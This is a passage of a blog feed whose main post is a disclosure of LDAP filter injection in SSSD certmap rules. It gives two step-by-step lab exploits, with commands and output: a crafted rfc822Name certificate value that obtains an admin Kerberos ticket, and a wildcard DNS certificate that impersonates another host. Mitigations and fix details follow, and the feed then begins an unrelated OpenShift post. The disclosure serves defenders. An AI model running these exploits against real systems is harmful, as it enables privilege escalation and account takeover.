&lt;h3 id=&quot;sanitisation-not-performed&quot;&gt;Sanitisation not performed &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#sanitisation-not-performed&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Some template substitutions are inherently safe, but some use values
from the certificate that could contain characters with special
meaning in LDAP filters. Of the substitutions listed above, only
&lt;code&gt;{cert!base64}&lt;/code&gt; is safe. The others could contain special
characters (and there are still more that I did not list). Values
that could contain special characters have to be sanitised
(escaped). Specifically, the following characters must be replaced
with a &lt;em&gt;hex escape sequence&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NUL&lt;/code&gt; → &lt;code&gt;\00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(&lt;/code&gt; → &lt;code&gt;\28&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;)&lt;/code&gt; → &lt;code&gt;\29&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*&lt;/code&gt; → &lt;code&gt;\2A&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\&lt;/code&gt; → &lt;code&gt;\5C&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The affected versions of SSSD do not perform this sanitisation. As
a consequence, the template substitutions can result in invalid
filters (resulting in authentication failure) or filters that match
the wrong principal entry (dangerous). The next two sections
demonstrate two different exploit scenarios.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;LDAP filter injection has been assigned &lt;a href=&quot;https://cwe.mitre.org/data/definitions/90.html&quot;&gt;CWE-90&lt;/a&gt; in the &lt;em&gt;Common
Weakness Enumeration&lt;/em&gt; database. Conceptually it is very similar to
SQL injection (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89&lt;/a&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;demo-1-attacker-supplied-rfc822name&quot;&gt;Demo 1: Attacker-supplied &lt;code&gt;rfc822Name&lt;/code&gt; &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#demo-1-attacker-supplied-rfc822name&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We will issue a certificate with an attacker-supplied &lt;code&gt;rfc822Name&lt;/code&gt;
SAN value to an unprivileged user. The deployment has a plausible
certmap rule with a structure that can be exploited to obtain a TGT
for an attacker-specified user account, including highly privileged
accounts such as &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It is a fresh deployment running FreeIPA 4.6 on RHEL 7.9:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;# cat /etc/redhat-release
Red Hat Enterprise Linux Server release 7.9 (Maipo)

# rpm -qa |grep ipa-
ipa-client-4.6.8-5.el7.x86_64
sssd-ipa-1.16.5-10.el7.x86_64
ipa-server-4.6.8-5.el7.x86_64
ipa-common-4.6.8-5.el7.noarch
ipa-client-common-4.6.8-5.el7.noarch
ipa-server-common-4.6.8-5.el7.noarch&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;setup&quot;&gt;Setup &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#setup&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Setup steps establish the user account, certmap rules, certificate
profiles and issuance policies required for the subsequent attack.
I perform these steps using the &lt;code&gt;admin&lt;/code&gt; account:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# klist
Ticket cache: KEYRING:persistent:0:0
Default principal: admin@IPA.TEST

Valid starting     Expires            Service principal
28/11/22 23:00:19  29/11/22 23:00:07  ldap/rhel78-0.ipa.test@IPA.TEST
28/11/22 23:00:09  29/11/22 23:00:07  krbtgt/IPA.TEST@IPA.TEST&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create the unprivileged user &lt;code&gt;alice&lt;/code&gt;. She will be the subject
principal to whom the certificate will be issued.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;# ipa user-add alice --first Alice --last Able --password
Password: XXXXXXXX
Enter Password again to verify: XXXXXXXX
------------------
Added user &amp;quot;alice&amp;quot;
------------------
...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add a new &lt;code&gt;mail&lt;/code&gt; attribute to &lt;code&gt;alice&lt;/code&gt;’s LDAP entry. This will
enable us to issue a certificate from the internal CA that includes
the value as an &lt;code&gt;rfc822Name&lt;/code&gt; Subject Alternative Name value.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;# echo &amp;gt; mod.ldif &amp;lt;&amp;lt;EOF
dn: uid=alice,cn=users,cn=accounts,dc=ipa,dc=test
changetype: modify
add: mail
mail: &amp;quot;bogus)(uid=admin)(cn=&amp;quot;@ipa.test
EOF

# ldapmodify -Y GSSAPI &amp;lt; mod.ldif
modifying entry &amp;quot;uid=alice,cn=users,cn=accounts,dc=ipa,dc=test&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I had to add the new &lt;code&gt;mail&lt;/code&gt; attribute via &lt;code&gt;ldapmodify&lt;/code&gt; because the
email validation performed by the IPA API does not admit all valid
local-part values. But it is in fact a valid email address.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;The default access controls in FreeIPA do not allow non-admins to
modify &lt;code&gt;mail&lt;/code&gt; attributes, even in their own entry. But I use this
approach because it is plausible for an organisation to have a
system that allows employees to request a specific mail alias.
Indeed we have such a system at Red Hat, although I don’t know if it
would allow such an exotic value.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Next, add a &lt;em&gt;CA ACL&lt;/em&gt; rule that permits certificate to be issued to
user principals. For convenience we will use the included
&lt;code&gt;caIPAserviceCert&lt;/code&gt; profile. Typical real world user certificate
scenarios would require a dedicated profile.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;# ipa caacl-add users_caIPAserviceCert --usercat=all
-------------------------------------
Added CA ACL &amp;quot;users_caIPAserviceCert&amp;quot;
-------------------------------------
  ACL name: users_caIPAserviceCert
  Enabled: TRUE
  User category: all

# ipa caacl-add-profile users_caIPAserviceCert --certprofile caIPAserviceCert
  ACL name: users_caIPAserviceCert
  Enabled: TRUE
  User category: all
  Profiles: caIPAserviceCert
-------------------------
Number of members added 1
-------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally add the certmap rule. It has a two-part &lt;em&gt;or-list&lt;/em&gt; intended
to match the &lt;code&gt;rfc822Name&lt;/code&gt; from the certificate to the &lt;code&gt;mail&lt;/code&gt;
attribute, or else match the certificate subject DN to DN of the
LDAP entry:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;# ipa certmaprule-add certmap1 --maprule \
    &amp;quot;(|(mail={subject_rfc822_name})(entryDN={subject_dn}))&amp;quot;
--------------------------------------------------
Added Certificate Identity Mapping Rule &amp;quot;certmap1&amp;quot;
--------------------------------------------------
  Rule name: certmap1
  Mapping rule: (|(mail={subject_rfc822_name})(entryDN={subject_dn}))
  Enabled: TRUE&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;The steps performed above are not part of the exploit itself, and
they require administrator privileges to perform. They are
presented as plausible configurations, the likes of which &lt;em&gt;may&lt;/em&gt;
exist (or not) in a customer’s environment.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id=&quot;exploit&quot;&gt;Exploit &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#exploit&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;alice&lt;/code&gt; will request a certificate with the suspicious &lt;code&gt;rfc822Name&lt;/code&gt;
and &lt;strong&gt;acquire a TGT for the &lt;code&gt;admin&lt;/code&gt; user&lt;/strong&gt;. First obtain a TGT for
&lt;code&gt;alice&lt;/code&gt; (using password authentication):&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ kinit alice
Password for alice@IPA.TEST:&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create a new keypair and certificate signing request (CSR). The
config causes the CSR to bear a SAN extension request containting
the malicious &lt;code&gt;rfc822Name&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ echo &amp;gt; naughty.conf &amp;lt;&amp;lt;EOF
[ req ]
prompt = no
encrypt_key = no
distinguished_name = dn
req_extensions = exts
[ dn ]
commonName = &amp;quot;alice&amp;quot;
[ exts ]
subjectAltName=email:\&amp;quot;bogus)(uid=admin)(cn=\&amp;quot;@ipa.test
EOF

$ openssl req -new -config naughty.conf \
    -keyout naughty.key -out naughty.csr
Generating a 2048 bit RSA private key
..........+++
......................+++
writing new private key to 'naughty.key'
-----&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Issue the certificate (this is a &lt;em&gt;self-service&lt;/em&gt; certificate request,
which FreeIPA allows, subject to CA ACLs):&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ ipa cert-request naughty.csr \
    --principal alice naughty.csr \
    --certificate-out naughty.pem
  Issuing CA: ipa
  Certificate: MIIEPjCC...
  Subject: CN=alice,O=IPA.TEST 202211171708
  Subject email address: &amp;quot;bogus)(uid=admin)(cn=&amp;quot;@ipa.test
  Issuer: CN=Certificate Authority,O=IPA.TEST 202211171708
  Not Before: Tue Nov 29 04:42:58 2022 UTC
  Not After: Fri Nov 29 04:42:58 2024 UTC
  Serial number: 13
  Serial number (hex): 0xD&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, use the new certificate and key to obtain a TGT &lt;strong&gt;for
&lt;code&gt;admin&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ kinit -X X509_user_identity=FILE:naughty.pem,naughty.key admin

$ klist
Ticket cache: KEYRING:persistent:1001:krb_ccache_UnnYkF2
Default principal: admin@IPA.TEST

Valid starting     Expires            Service principal
28/11/22 23:47:44  29/11/22 23:47:44  krbtgt/IPA.TEST@IPA.TEST&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exploit succeeds because the unescaped &lt;code&gt;rfc822Name&lt;/code&gt; value
results in a filter that matches the &lt;code&gt;admin&lt;/code&gt; user (formatted for
readability):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(&amp;amp;
  (|
    (objectClass=krbprincipalaux)
    (objectClass=krbprincipal)
    (objectClass=ipakrbprincipal)
  )
  (|
    (ipaKrbPrincipalAlias=admin@IPA.TEST)
    (krbPrincipalName:caseIgnoreIA5Match:=admin@IPA.TEST)
  )
  (|
    (mail=&amp;quot;bogus)
    (uid=admin)
    (cn=&amp;quot;@ipa.test)
    (entrydn=CN=alice,O=IPA.TEST 202211171708)
  )
)&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;demo-2-wildcard-dns-name&quot;&gt;Demo 2: Wildcard DNS name &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#demo-2-wildcard-dns-name&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A wildcard certificate can be used to &lt;strong&gt;obtain a TGT for a different
host principal&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;setup-1&quot;&gt;Setup &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#setup-1&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Add a profile for issuing wildcard certificates. I will skip the
details and instead refer to my &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/posts/2017-06-26-freeipa-wildcard-san.html&quot;&gt;blog post on this topic&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Add a host called &lt;code&gt;ipa.test&lt;/code&gt;, a &lt;em&gt;host group&lt;/em&gt; called &lt;code&gt;webservers&lt;/code&gt;,
and make &lt;code&gt;ipa.test&lt;/code&gt; a member of &lt;code&gt;webservers&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;host&quot;&gt;&lt;code&gt;# ipa host-add ipa.test --force
----------------------
Added host &amp;quot;ipa.test&amp;quot;
----------------------
  Host name: ipa.test
  Principal name: host/ipa.test@IPA.TEST
  Principal alias: host/ipa.test@IPA.TEST
  Password: False
  Keytab: False
  Managed by: ipa.test

# ipa hostgroup-add webservers
----------------------------
Added hostgroup &amp;quot;webservers&amp;quot;
----------------------------
  Host-group: webservers

# ipa hostgroup-add-member webservers --hosts ipa.test
  Host-group: webservers
  Member hosts: ipa.test
-------------------------
Number of members added 1
-------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add a &lt;em&gt;CA ACL&lt;/em&gt; that allows &lt;code&gt;webservers&lt;/code&gt; to be issued certificates
via the &lt;code&gt;wildcard&lt;/code&gt; profile:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;# ipa caacl-add webservers_wildcard
----------------------------------
Added CA ACL &amp;quot;webservers_wildcard&amp;quot;
----------------------------------
  ACL name: webservers_wildcard
  Enabled: TRUE

# ipa caacl-add-host webservers_wildcard --hostgroup webservers
  ACL name: webservers_wildcard
  Enabled: TRUE
  Host Groups: webservers
-------------------------
Number of members added 1
-------------------------

# ipa caacl-add-profile webservers_wildcard --certprofile wildcard
  ACL name: webservers_wildcard
  Enabled: TRUE
  Profiles: wildcard
  Host Groups: webservers
-------------------------
Number of members added 1
-------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, add a certmap rule that uses SAN &lt;code&gt;dNSName&lt;/code&gt; values to locate
the principal:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;# ipa certmaprule-add certmap2 \
    --maprule &amp;quot;(fqdn={subject_dns_name})&amp;quot;
--------------------------------------------------
Added Certificate Identity Mapping Rule &amp;quot;certmap2&amp;quot;
--------------------------------------------------
  Rule name: certmap2
  Mapping rule: (fqdn={subject_dns_name})
  Enabled: TRUE&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;exploit-1&quot;&gt;Exploit &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#exploit-1&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We will issue a wildcard certificate for &lt;code&gt;ipa.test&lt;/code&gt;, and use it to
obtain a TGT for a different host. You could use &lt;em&gt;Certmonger&lt;/em&gt; to
request the certificate, but I will interact directly with FreeIPA
via the &lt;code&gt;ipa&lt;/code&gt; client program. The operator is the &lt;code&gt;host/ipa.test&lt;/code&gt;
principal (I &lt;code&gt;kinit&lt;/code&gt;ed using the host keytab):&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ klist
Ticket cache: KEYRING:persistent:1001:krb_ccache_UnnYkF2
Default principal: host/ipa.test@IPA.TEST

Valid starting     Expires            Service principal
29/11/22 03:52:59  30/11/22 03:52:59  krbtgt/IPA.TEST@IPA.TEST&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create a keypair and CSR:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ openssl req -new -subj '/CN=ipa.test/' -nodes \
    -keyout server.key -out server.csr
Generating a 2048 bit RSA private key
........................................................+++
.....................................................................................................................+++
writing new private key to 'server.key'
-----&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Request the certificate, being sure to specify the &lt;code&gt;wildcard&lt;/code&gt;
profile:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ ipa cert-request server.csr \
    --principal host/ipa.test \
    --profile-id wildcard \
    --certificate-out server.pem
  Issuing CA: ipa
  Certificate: MIIENTCC...
  Subject: CN=ipa.test,O=IPA.TEST 202211171708
  Subject DNS name: ipa.test, *.ipa.test
  Issuer: CN=Certificate Authority,O=IPA.TEST 202211171708
  Not Before: Tue Nov 29 09:14:09 2022 UTC
  Not After: Fri Nov 29 09:14:09 2024 UTC
  Serial number: 16
  Serial number (hex): 0x10&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, use the new certificate and key to obtain a TGT for a
&lt;strong&gt;different host&lt;/strong&gt; whose &lt;code&gt;fqdn&lt;/code&gt; attributes matches the LDAP
substring filter &lt;code&gt;(fqdn=*.ipa.test)&lt;/code&gt;. In this example I acquire the
TGT for &lt;strong&gt;&lt;code&gt;host/rhel78-0.ipa.test&lt;/code&gt;&lt;/strong&gt; (one of the FreeIPA servers).&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ kinit -X X509_user_identity=FILE:server.pem,server.key \
    host/rhel78-0.ipa.test

$ klist
Ticket cache: KEYRING:persistent:1001:krb_ccache_UnnYkF2
Default principal: host/rhel78-0.ipa.test@IPA.TEST

Valid starting     Expires            Service principal
29/11/22 04:15:52  30/11/22 04:15:52  krbtgt/IPA.TEST@IPA.TEST&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exploit succeeds because the unescaped wildcard &lt;code&gt;dNSName&lt;/code&gt; value
results in a &lt;strong&gt;&lt;em&gt;substring match&lt;/em&gt;&lt;/strong&gt; filter (formatted for
readability):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(&amp;amp;
  (|
    (objectClass=krbprincipalaux)
    (objectClass=krbprincipal)
    (objectClass=ipakrbprincipal)
  )
  (|
    (ipaKrbPrincipalAlias=host/rhel78-0.ipa.test@IPA.TEST)
    (krbPrincipalName:caseIgnoreIA5Match:=host/rhel78-0.ipa.test@IPA.TEST)
  )
  (fqdn=*.ipa.test)
)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The maprule filter matches any principal whose &lt;code&gt;fqdn&lt;/code&gt; attribute ends
in &lt;code&gt;.ipa.test&lt;/code&gt;. This sub-filter could match multiple principle
entries, but the &lt;em&gt;client-specified&lt;/em&gt; principal name used in the
&lt;code&gt;krbPrincipalName&lt;/code&gt; and &lt;code&gt;ipaKrbPricipalAlias&lt;/code&gt; filters select the one
we want.&lt;/p&gt;
&lt;p&gt;If there are multiple SAN values of the relevant type, the order is
important. The &lt;em&gt;last&lt;/em&gt; value is used in the template substitution.
In my certificate, the last value is &lt;code&gt;*.ipa.test&lt;/code&gt; so the exploit
succeeds. If the order was reversed, the exploit would not succeed.
This is an implementation detail of SSSD; it might as well have used
the first value but it just happened to be implemented this way.&lt;/p&gt;
&lt;h2 id=&quot;discussion&quot;&gt;Discussion &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#discussion&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;These exploits required a confluence of contributing factors to
succeed. Deployments using PKINIT with exact certificate matching
(the default) are also unaffected. The vulnerability only arises
when the customer uses certmap rules. None are defined by default.
Certmap rules (if they exist) are only &lt;em&gt;potentially&lt;/em&gt; vulnerable;
several other factors have to come together.&lt;/p&gt;
&lt;p&gt;The attacker must obtain a valid certificate from a trusted CA for a
key they control. Except in limited cases (e.g. wildcard DNS names)
the attacker must to be able to influence the attributes on the
certificate. Only &lt;em&gt;free-form&lt;/em&gt; string attributes are potentially
problematic. These include DNS name, email address, SAN DN values,
principle names, and perhaps others. And there have to be SSSD
certmap rule template substitutions for the targeted attribute(s).&lt;/p&gt;
&lt;p&gt;Next, there had to be a certmap rule that substitutes the
problematic value into the LDAP search filter. All filters that
substitute free-form attributes are susceptible to exploitation.
But in practice, &lt;em&gt;or-list&lt;/em&gt; filters are &lt;em&gt;more susceptible&lt;/em&gt; to
exploitation than &lt;em&gt;and-list&lt;/em&gt; or single-clause filters. This is
because the attacker has more flexibility in how to make the filter
match the target account. But as we saw in the wildcard &lt;code&gt;dNSName&lt;/code&gt;
example, even a single-clause filter fragment could be exploitable.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;
&lt;p&gt;The default ACIs allow any authenticated account to read certmap
rule entries. This may aid attackers in working out the attack
details.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Note that most &lt;em&gt;free-form&lt;/em&gt; attributes have additional syntax rules
imposed upon them. For example, a SAN &lt;code&gt;dNSName&lt;/code&gt; value should look
like a DNS name, and a SAN &lt;code&gt;rfc822Name&lt;/code&gt; value should be a valid
email address. But the raw ASN.1 data does not guarantee this.
Even legal values can be problematic (as demonstrated). But if a
trusted CA can be induced to issue certificates that contain
&lt;em&gt;arbitrary&lt;/em&gt; data in those free-form attributes, there is an even
greater risk of exploitation.&lt;/p&gt;
&lt;p&gt;The use of the internal CA in this attack is incidental. The
administrator can configure FreeIPA to trust external CAs for
validating client PKINIT certificates. Any trusted CA can be used
in the attack, if the attacker can cause it to issue certificates
containing problematic values. Note that the KDC trusts the whole
system trust store, not just the trusted CAs from the FreeIPA CA
trust store. Certmap rules can be equipped with &lt;em&gt;matching rules&lt;/em&gt; to
restrict which issuers are allowed for PKINIT certificate matching,
separate from CA trust for certification path verification purposes.&lt;/p&gt;
&lt;h2 id=&quot;mitigations&quot;&gt;Mitigations &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#mitigations&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id=&quot;use-exact-certificate-matching-do-not-use-certmap-rules&quot;&gt;Use exact certificate matching / do not use certmap rules &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#use-exact-certificate-matching-do-not-use-certmap-rules&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;PKINIT uses exact certificate matching by default. If feasible, you
can rely on that method and disable or delete any certmap rules.
&lt;code&gt;ipa certmaprule-find&lt;/code&gt; lists all certmap rules that have been
defined. Use &lt;code&gt;ipa certmaprule-disable NAME&lt;/code&gt; or &lt;code&gt;ipa certmaprule-del NAME&lt;/code&gt; to disable or delete certmap rules, respectively.&lt;/p&gt;
&lt;p&gt;The main drawback to this approach is that each principal’s entry
must have an up-to-date &lt;code&gt;userCertificate&lt;/code&gt; attribute containing the
user’s certificate(s). This increases the size of entries, and may
have additional adminstrative overhead depending on how certificates
are issued and managed.&lt;/p&gt;
&lt;h3 id=&quot;audit-and-de-risk-certmap-rules&quot;&gt;Audit and de-risk certmap rules &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#audit-and-de-risk-certmap-rules&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Non-santised parameter substitution in an LDAP filter &lt;em&gt;or-list&lt;/em&gt; is
riskier than in &lt;em&gt;and-lists&lt;/em&gt; lists or single . Replace certmap rules
containing &lt;em&gt;or&lt;/em&gt; lists with multiple, separate certmap rules.&lt;/p&gt;
&lt;p&gt;Ensure each rule is as specific as possible, and consider the
possibility of outlier or malicious values in the certificate when
designing certmap rules.&lt;/p&gt;
&lt;h3 id=&quot;review-ca-trust-profiles-and-validation&quot;&gt;Review CA trust, profiles and validation &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#review-ca-trust-profiles-and-validation&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Review the kinds of data, especially user-supplied or user-writeable
data, that can be included on certificates issued by CAs that are
trusted for PKINIT purposes. Audit how those data are validated.&lt;/p&gt;
&lt;p&gt;Review and limit which CAs are trusted for PKINIT to only those that
are necessary. If possible, consider using dedicated CAs for
issuing the client certificates used for PKINIT. Use the certmap
&lt;em&gt;matching rule&lt;/em&gt; feature (not discussed here) to restrict the KDC to
only allow certificates issued by the PKINIT CAs.&lt;/p&gt;
&lt;h2 id=&quot;fix&quot;&gt;Fix &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#fix&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Lack of sanitisation in certmap LDAP filter construction was
recognised as a bug in SSSD issue &lt;a href=&quot;https://pagure.io/SSSD/sssd/issue/4180&quot;&gt;pagure#4180&lt;/a&gt; / &lt;a href=&quot;https://github.com/SSSD/sssd/issues/5135&quot;&gt;github#5135&lt;/a&gt;.
The framing of the issue was that legitimate values in the
certificate were causing SSSD to construct invalid LDAP filters. It
appears that the security implications were not recognised or
discussed at that time.&lt;/p&gt;
&lt;p&gt;SSSD commit &lt;a href=&quot;https://github.com/SSSD/sssd/commit/a2b9a84460429181f2a4fa7e2bb5ab49fd561274&quot;&gt;a2b9a84460429181f2a4fa7e2bb5ab49fd561274&lt;/a&gt;
implemented the required sanitisation. &lt;a href=&quot;https://sssd.io/release-notes/sssd-2.3.1.html&quot;&gt;SSSD 2.3.1&lt;/a&gt; was the first
release containing the fix. Commit
&lt;a href=&quot;https://github.com/SSSD/sssd/commit/918fb32af6a271230bf87db47f78768edb9ca86c&quot;&gt;918fb32af6a271230bf87db47f78768edb9ca86c&lt;/a&gt; on
&lt;strong&gt;2022-01-06&lt;/strong&gt; backported the fix to the &lt;code&gt;sssd-1.16&lt;/code&gt; branch, but
there has not yet been a new release from this branch containing the
fix.&lt;/p&gt;
&lt;p&gt;The SSSD team backported the fix to RHEL 7.9. It was included in
Batch Update 20 which was released on &lt;strong&gt;2022-01-24&lt;/strong&gt;. Fixes to
extended support streams for RHEL 8.1 and 8.2 were also released on
that day, meaning that the issue is now fixed in all supported
versions of RHEL.&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Enabling Kubernetes feature gates in OpenShift</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2023-01-22-openshift-feature-gates.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2023-01-22-openshift-feature-gates.html</id>
		<updated>2023-01-22T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;enabling-kubernetes-feature-gates-in-openshift&quot;&gt;Enabling Kubernetes feature gates in OpenShift&lt;/h1&gt;
&lt;p&gt;When Kubernetes adds a feature or changes an existing one, the new
behaviour usually starts out hidden behind a &lt;a href=&quot;https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/&quot;&gt;&lt;em&gt;feature
gate&lt;/em&gt;&lt;/a&gt;. Enhancements start off in the &lt;em&gt;Alpha&lt;/em&gt;
stability class, where they are usually guarded by a feature gate
that is &lt;strong&gt;off by default&lt;/strong&gt;. If the enhancement proves stable and
useful, after a few releases it will be promoted to &lt;em&gt;Beta&lt;/em&gt;, and the
feature gate will typically default to &lt;strong&gt;on&lt;/strong&gt;, though it can still
be disabled. The final stage of an enhancement is &lt;em&gt;GA (generally
available)&lt;/em&gt;. If an enhancement reaches this stage, its feature gate
becomes non-operational and is &lt;a href=&quot;https://kubernetes.io/docs/reference/using-api/deprecation-policy/&quot;&gt;deprecated&lt;/a&gt;, to be removed in a
later release.&lt;/p&gt;
&lt;p&gt;So, in a real world deployment how do you enable or disable a
feature gate? There are several “distributions” of Kubernetes and
various ways of doing it. In this short post I’ll demonstrate how
to enable feature gates in &lt;em&gt;OpenShift&lt;/em&gt;, Red Hat’s container
orchestration platform which is built on Kubernetes.&lt;/p&gt;
&lt;h2 id=&quot;the-featuregate-resource&quot;&gt;The &lt;code&gt;FeatureGate&lt;/code&gt; resource &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#the-featuregate-resource&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;OpenShift recognises a &lt;code&gt;FeatureGate&lt;/code&gt; resource type. A single,
resource of this type named &lt;code&gt;cluster&lt;/code&gt; determines the feature gates
used across the cluster. A cluster administrator can modify
&lt;code&gt;FeatureGate/cluster&lt;/code&gt; to vary the feature gates set in the cluster
from the defaults.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;FeatureGate&lt;/code&gt; resource is more than a mere list of feature gates
to enable or disable. First, in addition to Kubernetes feature
gates, it can also set feature gates for features in OpenShift
itself, or other components or products in the cluster. Second, it
can refer to named &lt;em&gt;feature sets&lt;/em&gt;—groups of feature gates—as an
alternative to explicitly listing all the feature gates to enable or
disable.&lt;/p&gt;
&lt;p&gt;For example, the &lt;code&gt;TechPreviewNoUpgrade&lt;/code&gt; feature set enables a
collection of features that Red Hat have marked as useful and worthy
of customer &lt;em&gt;testing&lt;/em&gt;, with a view to possible promotion to full
support in a future release. Customers do not need to enable
individual feature gates but can instead enable all the &lt;em&gt;Technology
Preview&lt;/em&gt; features via the following &lt;code&gt;FeatureGate&lt;/code&gt; spec:&lt;/p&gt;
